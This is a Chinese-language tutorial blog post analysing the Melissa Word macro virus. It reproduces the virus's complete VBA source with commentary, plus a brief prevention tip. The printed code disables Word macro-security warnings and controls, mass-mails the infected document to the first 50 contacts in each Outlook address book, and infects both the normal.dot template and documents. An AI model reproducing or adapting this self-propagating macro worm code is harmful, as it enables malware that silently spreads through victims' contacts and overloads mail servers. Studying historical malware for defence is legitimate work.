melissa病毒

本文仅供学习,禁止另作他用!!!

简介

melissa病毒伪装成一封来自朋友或同事的电子邮件,用户打开附件中的list.doc后,病毒会让受感染的电脑向外发送50封携毒邮件,它能引发大量电子邮件,从而阻塞电子邮件服务器。

该病毒是宏病毒,是VBA(visual basic for application)代码
对Word2000与Word97起作用

参考博客

参考1
参考2
参考3

源码:

第一部分

1
2
3
4
5
6
7
8
9
10
11
12
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then CommandBars("Macro").Controls("Security...").Enabled = False
//关闭宏中的安全项
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
//关闭宏选项,让用户看不到代码
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
三连关:关文件转换、关宏警告、关默认模板修改确认
End If

该部分首先读取Windows注册表里的内容,判断该Word是不是2000,如果是就把“宏”工具栏的“安全”项设置无效;不是的话,是97的话,先把tools下的Macro(宏)选项设置为不可用,别人就看不到代码,然后把ConfirmConversions(文件转换)、VirusProtection(宏警告)和SaveNormalPrompt(模板存储确认,即normal.dot被修改了也不知道)都关了1-1=0
normal.dot:是Word的默认模板,Word在工作时都是基于某个模板进行的,这里病毒将默认模板也改了,所以导致以后每一次使用默认模板时,病毒都会出来判断,而在这里把修改确认给关了,就是不让用户知道默认模板被修改了,这部分在第四部分

第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
//创建Outlook应用程序实例对象
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
//获取MAPI对象
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then If UngaDasOutlook = "Outlook"
Then DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
//遍历地址薄
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
//获取第n个收件人的地址
BreakUmOffASlice.Recipients.Add Peep
//在地址中加入该收件人的地址
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
//设置邮件主题并附上用户名
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
//设置正文
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
//ActiveDocument是指正在编写的文档,所以就是这个文档,将其加入邮件的附件
BreakUmOffASlice.Send
//发送邮件
Peep = ""
Next y
DasMapiName.Logoff
//断开链接
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

该部分首先判断本机是否感染,判断依据是注册表中HKEY_CURRENT_USER\Software\Microsoft\Office\这个键中是否有项”Melissa”,如果有的话啥也不做,没的话开始恶意操作
操作就是选取outlook邮件地址薄里的前50名好友或同事,给他们发送一封名为”Important Message From”,内容为”Here is that document you asked for … don’t show anyone else ;-)”,附件为本文件的邮件,并且在这个HKEY_CURRENT_USER\Software\Microsoft\Office\键中加入”Melissa”项,以标记被感染

第三部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
//ActiveDocument是指正在编写的文档,所以就是这个文档,获取当前文档的VBA工程的第1个模块名称
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
//获取默认模板的VBA工程的第1个模块名称
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa"
Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
//如果当前文档未感染,修改VBA工程的第1个模块名称为"Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
//如果默认模板未感染,修改VBA工程的第1个模块名称为"Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
//如果都感染了,跳转到CYA执行以后的命令
If DoNT = True
Then Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
//上述操作感染默认模板,即normal.dot
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
//上述操作为感染当前文档
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False)
Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False)
Then ActiveDocument.Saved = True
End If
//上述操作即保存被修改的当前文档和默认模板normal.dot

若被melissa感染(无论是你的模板或文件),它们的名字就会被改为Melissa,利用这个情况就可以判断出是你的模板,还是你的文档,或者两者都被感染。如果两者都被感染,它将啥都不做。否则若模板被感染,就利用模板来感染文档,所有新建的文档都会被感染;若文档被感染,就利用文档来感染模板。

第四部分

1
2
3
4
5
6
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.Game 's over. I'm outta here."
End Sub

病毒作者的自述,如果当前的日期等于当前的时间,就打印” Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.Game ‘s over. I’m outta here.”

防范

对于宏病毒,最好的防范就是不启用宏
清理注册表、清理感染文件